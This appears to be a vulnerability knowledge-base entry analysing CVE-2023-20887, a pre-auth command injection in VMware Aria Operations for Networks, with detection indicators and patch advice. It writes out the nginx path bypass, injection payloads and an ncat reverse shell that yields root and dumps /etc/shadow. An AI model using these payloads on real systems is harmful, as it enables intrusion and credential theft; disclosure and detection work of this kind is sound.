Attacker Value
Low
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
6

CVE-2023-20887

Disclosure Date: June 07, 2023
Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Initial Access
Techniques
Validation
Validated
Validated
Validated
Validated
Validated
Validated
Validated
Validated
Validated

Description

Aria Operations for Networks contains a command injection vulnerability. A malicious actor with network access to VMware Aria Operations for Networks may be able to perform a command injection attack resulting in remote code execution.

Add Assessment

1
Ratings
Technical Analysis

This vulnerability is trivial to exploit, particularly with proofs of concept (and a Metasploit PR) in the works.

The saving grace is that this doesn’t appear to to be particularly common on the internet.. different Shodan queries show like 5-6 instances facing the internet.

If you do run this, though, patch ASAP! It’s very easy remote root against the server.

CVSS V3 Severity and Metrics
Base Score:
9.8 Critical
Impact Score:
5.9
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Vendors

  • vmware

Products

  • aria operations for networks

Exploited in the Wild

Reported by:

Additional Info

Technical Analysis

Description

On June 7, 2023, VMware posted security advisory VMSA-2023-0012.html, which disclosed three vulnerabilities in VMware Aria Operations for Networks (previously known as vRealize Network Insight). These issues were originally reported to VMware anonymously via the Zero Day Initiative.

The most serious of the issues (CVE-2023-20887) is an unauthenticated command injection vulnerability that, combined with an nginx misconfiguration, leads to remote code execution as the root user.

On June 13, 2023, Summoning Team, who independently discovered the issue, disclosed complete details on their blog, along with a working exploit. As of June 20, 2023, VMware confirmed that exploitation of CVE-2023-20887 has occurred in the wild.

A total of three vulnerabilities were fixed in the advisory:

  • CVE-2023-20887 – Pre-authentication remote code execution via command injection
  • CVE-2023-20888 – Post-authentication deserialization vulnerability
  • CVE-2023-20889 – Information disclosure via command injection

According to VMware’s KB, the affected versions are:

  • VMware Aria Operations for Networks version 6.2.0 prior to build 1684162127
  • VMware Aria Operations for Networks version 6.3.0 prior to build 1684163738
  • VMware Aria Operations for Networks version 6.4.0 prior to build 1684166601
  • VMware Aria Operations for Networks version 6.5.1 prior to build 1684151627
  • VMware Aria Operations for Networks version 6.6.0 prior to build 1684154516
  • VMware Aria Operations for Networks version 6.7.0 prior to build 1684151941
  • VMware Aria Operations for Networks version 6.8.0 prior to build 1684995353
  • VMware Aria Operations for Networks version 6.9.0 prior to build 1684998280
  • VMware Aria Operations for Networks version 6.10.0 prior to build 1685358321

The internet-facing deployment count is very low (less than 10 instances on Shodan), which means it’s not commonly internet-facing software; however, due to the ease of remote exploitation and availability of exploit code, this service should be patched as quickly as possible.

Technical analysis

CVE-2023-20887 is actually comprised of two different issues that, combined, lead to remote code execution: an nginx misconfiguration and a shell command injection issue. Let’s look at both parts!

Nginx Misconfiguration

The first issue is an nginx misconfiguration that allows us to access a localhost-only service.

VMware Aria Operations for Networks runs a Java-based service on port 9090:

$ netstat -pant
[...]
tcp        0      0 0.0.0.0:9090            0.0.0.0:*               LISTEN      42599/java  

Looking up the PID, we can see that it’s a Thrift server:

$ ps --pid=42599 -u | cat            
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
ubuntu   42599  0.8  2.6 6696596 862308 ?      Sl   17:15   1:41 java -XX:+UseParallelGC -Xss256K -Dorg.xerial.snappy.tempdir=/home/ubuntu/tmp -Dlog4j.debug -Dlog4j.defaultInitOverride=true -Dlogdir=/var/log/arkin/saasservice -DvneraLog4jConfigurationFile=/home/ubuntu/build-target/saasservice/saasservice.log4j.xml -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.password.file=/home/ubuntu/build-target/saasservice/jmxremote.password -Dcom.sun.management.jmxremote.access.file=/home/ubuntu/build-target/saasservice/jmxremote.access -Djava.rmi.server.hostname=10.0.0.9 -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.port=11100 -Xmx750M -Ddeployment.info=I67FKXAEUCECBY8C8Z4YW07GRI -Ddeployment.id=DRWQ86L -Dsku.info=platform -DuiAccessUrlPath=/home/ubuntu/build-target/deployment/ui-access-url.info -Dreporters.configuration=/home/ubuntu/build-target/saasservice/reporters.configuration -Dreporters.application.name=vRNI -Ddatadog.host=vrni-platform-release. -Ddatadog.tags=env:VRNI-NEW-DEV,role:PLATFORM,did:DRWQ86L,iid:I67FKXAEUCECBY8C8Z4YW07GRI,type:onprem,sku:platform,setup:vrniplatformrelease,inf:vrni -Dvrni.metrics.tags=env:VRNI-NEW-DEV,role:PLATFORM,did:DRWQ86L,iid:I67FKXAEUCECBY8C8Z4YW07GRI,type:onprem,sku:platform,setup:vrniplatformrelease,inf:vrni -Dvrni.metrics.host=vrni-platform-release.10.0.0.9 -Dpostgres.configuration=/home/ubuntu/build-target/saasservice/postgres.configuration -Ddynamodb.configuration=/home/ubuntu/build-target/saasservice/dynamodb.configuration -Delasticsearch.configuration=/home/ubuntu/build-target/saasservice/elasticsearch.configuration -Ddpconfig.base.folder=/home/ubuntu/build-target/saasservice -Ddp.operational.config.base.folder=/home/ubuntu/build-target/saasservice -Dtaskmgr.spec.folder=/home/ubuntu/build-target/saasservice -DOvaParamFile=/etc/vnera/ova.params -Dcustomer.configuration=/home/ubuntu/build-target/saasservice/customer.configuration -Dpolicy.config.path=/home/ubuntu/build-target/saasservice/policy -Ddeployment.type=onprem -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/lib/heap-dumps/saasservice -XX:+ExitOnOutOfMemoryError --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.nio=ALL-UNNAMED --add-exports java.base/jdk.internal.misc=ALL-UNNAMED --add-modules jdk.unsupported -Dio.netty.tryReflectionSetAccessible=true --illegal-access=warn -Ddeployment_type.path=/home/ubuntu/build-target/deployment/deployment.type -Dplatform_shared_keypair_pub=/home/ubuntu/build-target/deployment/keys/shared.crt -Dplatform_shared_keypair_pvt=/home/ubuntu/build-target/deployment/keys/shared.pem -cp /home/ubuntu/build-target/saasservice/saasservice-0.001-SNAPSHOT.jar com.vnera.SaasListener.ServiceMain /home/ubuntu/build-target/saasservice/ServiceThriftListenerConfigTemplate.properties server /home/ubuntu/build-target/saasservice/saasconfiguration.yaml

Remote connections to TCP port 9090 are forbidden by an iptables rule:

# iptables -nL INPUT
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
[...]
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            tcp dpt:22
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            tcp dpt:80
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            tcp dpt:443
DROP       all  --  0.0.0.0/0            0.0.0.0/0 

Instead, the server is accessed through nginx, which runs on TCP port 443. Here’s the part of the nginx configuration that proxies requests to the Thrift server:

# cat /etc/nginx/sites-enabled/vnera
[...]
    location = /saasresttosaasservlet {
        allow 127.0.0.1;
        deny all;
        rewrite ^/saas(.*)$ /$1 break;
        proxy_pass http://127.0.0.1:9090;
        proxy_redirect off;
        proxy_buffering off;
        proxy_set_header        Host            $host;
        proxy_set_header        X-Real-IP       $remote_addr;
        proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
    }
    location /saas {
        rewrite ^/saas(.*)$ /$1 break;
        proxy_pass http://127.0.0.1:9090;
        proxy_redirect off;
        proxy_buffering off;
        proxy_set_header        Host            $host;
        proxy_set_header        X-Real-IP       $remote_addr;
        proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
    }
[...]

In that nginx configuration, we see two directives:

  • The first, which only allows connections from 127.0.0.1, has rewrite and proxy_pass rules that forward requests from /saasresttosaasservlet to http://127.0.0.1:9090/resttosaasservlet
  • The second, which allows connections from any source, has similar rewrite and proxy_pass rules that forward requests from /saasANYTHING to http://127.0.0.1:9090/ANYTHING

The idea behind these rules appears to be an attempt to specifically block access to http://localhost:9090/resttosaasservlet by using regex matches. If that worked the way the developers expected, we wouldn’t be writing about a remote code execution vulnerability right now, so let’s look at how this can be bypassed!

It turns out that we can make a request to saas./resttosaasservlet—note the . character—which will match the second rule. The second rule will perform the rewrite, which keeps everything after /saas, leaving us with ./resttosaasservlet. The request is therefore proxied to http://localhost:9090/./resttosaasservlet, which normalizes to simply http://localhost:9090/resttosaasservlet, the exact endpoint that we aren’t supposed to access!

Now that we can access the resttosaasservlet endpoint on the localhost:9090 server, let’s look at the second vulnerability—command injection.

Command Injection

The /resttosaasservlet endpoint on the Thrift server that runs on TCP port 9090 is vulnerable to a command injection issue. Successful exploitation grants the attacker remote code execution as the root user.

To understand this issue, we grabbed the .jar files from /home/ubuntu/build-target and decompiled them using the jadx Java decompiler.

The command injection vulnerability is in the function com.vnera.common.utils.ScriptUtils.evictPublishedSupportBundles (in the file /home/ubuntu/build-target/common-dependency/6.3.0/common-0.001-SNAPSHOT.jar):

    public static synchronized void evictPublishedSupportBundles(String nodeType, String nodeId, List<String> evictionRequestIds, Integer maxFiles, String vcfLogToken) throws Exception {  
        // [...]
        if (maxFiles != null) {  
            String evictCommand = String.format("sudo ls -tp %s/sb.%s.%s*.tar.gz | grep -v '/$' | tail -n +%d | xargs -I {} rm -- {}", SUPPORT_BUNDLE_WWW_DIR, nodeType, nodeId, maxFiles);  
            if (CommonUtils.isPlatformCluster()) {  
                evictCommand = String.format("%s %s %s", CLEANUP_SUPPORT_BUNDLE, nodeId, nodeType);  
            }  
            int evictRet = runCommand(evictCommand);  
            if (evictRet != 0) {  
                logger.error("Could not cleanup command {}, command returned {}", evictCommand, Integer.valueOf(evictRet));  
            }  
        }  
    }

The nodeId argument is passed into a shell command without being sanitized.

That function is called by com.vnera.SaasListener.createSupportBundle() in /home/ubuntu/build-target/saasservice/saasservice-0.001-SNAPSHOT.jar, which also does nothing to sanitize nodeId:

        public Result createSupportBundle(String customerId, String nodeId, String requestId, List<String> evictionRequestIds) {  
            ServiceThriftListener.logger.info("Request support bundle for customerId {} requestId {} nodeId {}", new Object[]{customerId, requestId, nodeId});  
            ServiceThriftListener.supportBundleExecutor.submit(() -> {  
                Request.Status status;  
                int cidInt = Integer.parseInt(customerId);  
                String nodeType = isLocalNodeId(nodeId) ? CommonUtils.SKU_TYPE_PLATFORM : CommonUtils.SKU_TYPE_PROXY;  
                SupportRequestStore.Policy policy = ServiceThriftListener.supportRequestStore.getPolicy(SupportRequests.Type.SUPPORT_BUNDLE);  
                Integer maxFiles = policy != null ? policy.getMaxRequests() : null;  
                String vcfLogToken = getVCFLogToken();  
                try {  
                    ScriptUtils.evictLocalSupportBundles(nodeType, nodeId, evictionRequestIds, maxFiles, vcfLogToken);  
                    ScriptUtils.evictPublishedSupportBundles(nodeType, nodeId, evictionRequestIds, maxFiles, vcfLogToken);  
                } catch (Exception e) {  
                    ServiceThriftListener.logger.error("Caught exception in evicting support bundles", e);  
                }
            // [...]
        }

That function is accessible on the web service via the class com.vnera.saasrpc.interfaces.RestToSaasCommunication.AsyncProcessor.createSupportBundle in /home/ubuntu/build-target/common-dependency/6.3.0/rpc-saasinterface-0.001-SNAPSHOT.jar, which takes parameters of type com.vnera.saasrpc.interfaces.RestToSaasCommunication.createSupportBundle_args. That class takes this set of fields:

    CUSTOMER_ID(1, "customerId"),  
    NODE_ID(2, "nodeId"),  
    REQUEST_ID(3, "requestId"),  
    EVICTION_REQUEST_IDS(4, "evictionRequestIds");

To access createSupportBundle with those arguments, we do a POST request to /saas./resttosaasservlet with the following data, which looks like JSON but is sensitive to whitespace:

[1,"createSupportBundle",1,0,{"1":{"str":"ThisiscustomerId"},"2":{"str":"ThisisnodeId"},"3":{"str":"ThisisrequestId"},"4":{"lst":["str",2,"ThisisevictionRequestId1","ThisisevictionRequestId2"]}}]

Those parameters will be unmarshalled and passed to createSupportBundle, including the nodeId! We can demonstrate this by putting that into a file (say, poc.txt) and sending it to the server with curl:

$ cat poc.txt 
[1,"createSupportBundle",1,0,{"1":{"str":"1234"},"2":{"str":"ThisIsTheNodeID"},"3":{"str":"ThisisrequestId"},"4":{"lst":["str",2,"ThisisevictionRequestId1","ThisisevictionRequestId2"]}}]

$ curl -ik 'https://10.0.0.9/saas./resttosaasservlet' --data @./poc.txt
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 26 Jun 2023 21:54:15 GMT
Content-Type: application/x-thrift
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin

[1,"createSupportBundle",2,0,{"0":{"rec":{"1":{"i32":0},"2":{"str":""}}}}]

We can use the forkstat utility on the VMware server (we just uploaded the binary from an Ubuntu system) to watch processes being created; send the curl request above while forkstat -e exec is running and you should see the following output:

root@vrni-platform-release:/tmp# ./forkstat -e exec
[...]
Time     Event   PID Info   Duration Process
21:56:08 exec  34354                 /bin/sh -c sudo rm /ui-support-bundles/sb.proxy.ThisIsTheNodeID.ThisisevictionRequestId1.tar.gz
21:56:08 exec  34355                 sudo rm /ui-support-bundles/sb.proxy.ThisIsTheNodeID.ThisisevictionRequestId1.tar.gz
21:56:08 exec  34356                 rm /ui-support-bundles/sb.proxy.ThisIsTheNodeID.ThisisevictionRequestId1.tar.gz
21:56:08 exec  34357                 /bin/sh -c sudo rm /ui-support-bundles/sb.proxy.ThisIsTheNodeID.ThisisevictionRequestId2.tar.gz
21:56:08 exec  34358                 sudo rm /ui-support-bundles/sb.proxy.ThisIsTheNodeID.ThisisevictionRequestId2.tar.gz
21:56:08 exec  34359                 rm /ui-support-bundles/sb.proxy.ThisIsTheNodeID.ThisisevictionRequestId2.tar.gz
21:56:08 exec  34360                 /bin/sh -c sudo ls -tp /ui-support-bundles/sb.proxy.ThisIsTheNodeID*.tar.gz | grep -v '/$' | tail -n +2 | xargs -I {} rm -- {}
21:56:08 exec  34361                 sudo ls -tp /ui-support-bundles/sb.proxy.ThisIsTheNodeID*.tar.gz
21:56:08 exec  34362                 grep -v /$
21:56:08 exec  34363                 tail -n +2
21:56:08 exec  34364                 xargs -I {} rm -- {}
21:56:08 exec  34365                 ls -tp /ui-support-bundles/sb.proxy.ThisIsTheNodeID*.tar.gz

We can sneak a command into the nodeId in a variety of ways, such as using backticks; here’s how we can execute a command that checks which version of ncat is installed:

$ cat poc.txt 
[1,"createSupportBundle",1,0,{"1":{"str":"1234"},"2":{"str":"`ncat --version 2>/tmp/ncat.txt`"},"3":{"str":"ThisisrequestId"},"4":{"lst":["str",2,"ThisisevictionRequestId1","ThisisevictionRequestId2"]}}]

$ curl -ik 'https://10.0.0.9/saas./resttosaasservlet' --data @./poc.txt
HTTP/1.1 200 OK
[...]

We can see the command running in forkstat’s output, which proves this is working:

# ./forkstat -e exec   
Time     Event   PID Info   Duration Process
22:06:21 exec   4225                 /bin/sh -c sudo rm /ui-support-bundles/sb.proxy.`ncat --version 2>/tmp/ncat.txt`.ThisisevictionRequestId1.tar.gz
22:06:21 exec   4226                 ncat --version
[...]

And, of course, we can grab the output file over ssh, demonstrating both that this attack vector works, and also that ncat is installed, and therefore can be used as a reverse shell:

# cat /tmp/ncat.txt 
Ncat: Version 7.60 ( https://nmap.org/ncat )

Knowing that ncat is installed, we can create a reverse shell as root (which, thanks to a generous sudo policy, we can do):

$ cat poc.txt
[1,"createSupportBundle",1,0,{"1":{"str":"1234"},"2":{"str":"`sudo ncat -e /bin/bash 10.0.0.227 1234`"},"3":{"str":"ThisisrequestId"},"4":{"lst":["str",2,"ThisisevictionRequestId1","ThisisevictionRequestId2"]}}]

$ curl -ik 'https://10.0.0.9/saas./resttosaasservlet' --data @./poc.txt
HTTP/1.1 200 OK
[...]

And catch the shell on our listener:

$ nc -v -l -p 1234
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.0.0.9.
Ncat: Connection from 10.0.0.9:36772.
whoami
root
cat /etc/shadow
root:$1$ZjHij3Cx$ngQzCG/yoRT/RnuEW/gUb/:18787:0:99999:7:::
daemon:!*:18484:0:99999:7:::
bin:!*:18484:0:99999:7:::
[...]

Note that having a shell open ties up some worker processes, so certain actions (like popping a second shell) won’t work; take care when testing this against a production service!

IOCs

Logs for the affected web service are in /var/log/arkin/saasservice, and should show errors such as these after being exploited:

root@vrni-platform-release:/var/log/arkin/saasservice# grep 'Invalid nodeId' *
[...]
saasservice.STDOUT-2023-06-23-22.31.29.log.error: java.lang.RuntimeException: Invalid nodeId `ncat --version 2>/tmp/ncat.txt`, requestId ThisisrequestId
saasservice.STDOUT-2023-06-23-22.31.29.log.error: java.lang.RuntimeException: Invalid nodeId `ncat -e /bin/bash 10.0.0.227 1234`, requestId ThisisrequestId
saasservice.STDOUT-2023-06-23-22.31.29.log.error: java.lang.RuntimeException: Invalid nodeId `sudo ncat -e /bin/bash 10.0.0.227 1234`, requestId ThisisrequestId
saasservice.STDOUT-2023-06-23-22.31.29.log.error: java.lang.RuntimeException: Invalid nodeId `ncat 10.0.0.227 1337 -e /bin/sh`, requestId value3
saasservice.STDOUT-2023-06-23-22.31.29.log.error: java.lang.RuntimeException: Invalid nodeId `ncat 10.0.0.227 1338 -e /bin/sh`, requestId value3
saasservice.STDOUT-2023-06-23-22.31.29.log.error: java.lang.RuntimeException: Invalid nodeId `ncat 10.0.0.227 1339 -e /bin/sh`, requestId value3
saasservice.STDOUT-2023-06-23-22.31.29.log.error: java.lang.RuntimeException: Invalid nodeId `touch /tmp/hi`, requestId ThisisrequestId

Additionally, POST requests to the endpoint with a /./ attached should be viewed with suspicion, as they likely indicate exploitation attempts (the fgrep utility looks for the exact pattern, with no regular expression matching):

# fgrep '/./resttosaasservlet' *
[...]
saasservice.STDOUT-2023-06-23-22.31.29.log.error:2023-06-26T22:14:16.810Z INFO vnera.SaasListener.ServiceThriftListener_ServiceImpl dw-87 - POST /./resttosaasservlet createSupportBundle:3782 Request support bundle for customerId 1234 requestId ThisisrequestId nodeId _touch /tmp/hi_
saasservice.STDOUT-2023-06-23-22.31.29.log.error:2023-06-26T22:14:16.811Z INFO jetty.server.Slf4jRequestLogWriter dw-87 write:62 127.0.0.1 - - [26/Jun/2023:22:14:16 _0000] "POST /./resttosaasservlet HTTP/1.0" 200 74 "-" "curl/7.79.1" 1
saasservice.STDOUT-2023-06-23-22.31.29.log.error:2023-06-26T22:15:03.172Z INFO vnera.SaasListener.ServiceThriftListener_ServiceImpl dw-85 - POST /./resttosaasservlet createSupportBundle:3782 Request support bundle for customerId 1234 requestId ThisisrequestId nodeId _touch /tmp/hi_
saasservice.STDOUT-2023-06-23-22.31.29.log.error:2023-06-26T22:15:03.172Z INFO jetty.server.Slf4jRequestLogWriter dw-85 write:62 127.0.0.1 - - [26/Jun/2023:22:15:03 _0000] "POST /./resttosaasservlet HTTP/1.0" 200 74 "-" "curl/7.79.1" 2
saasservice.STDOUT-2023-06-23-22.31.29.log.error:2023-06-26T22:15:05.668Z INFO vnera.SaasListener.ServiceThriftListener_ServiceImpl dw-80 - POST /./resttosaasservlet createSupportBundle:3782 Request support bundle for customerId 1234 requestId ThisisrequestId nodeId _touch /tmp/hi_
saasservice.STDOUT-2023-06-23-22.31.29.log.error:2023-06-26T22:15:05.668Z INFO jetty.server.Slf4jRequestLogWriter dw-80 write:62 127.0.0.1 - - [26/Jun/2023:22:15:05 _0000] "POST /./resttosaasservlet HTTP/1.0" 200 74 "-" "curl/7.79.1" 0

Note that a successful attacker will gain root privileges, and can remove evidence such as this from the filesystem.

Guidance

Due to the proof of concept that is available online, plus the evidence of active exploitation, we recommend that administrators patch their VMware Aria Operations for Networks versions as quickly as possible.

References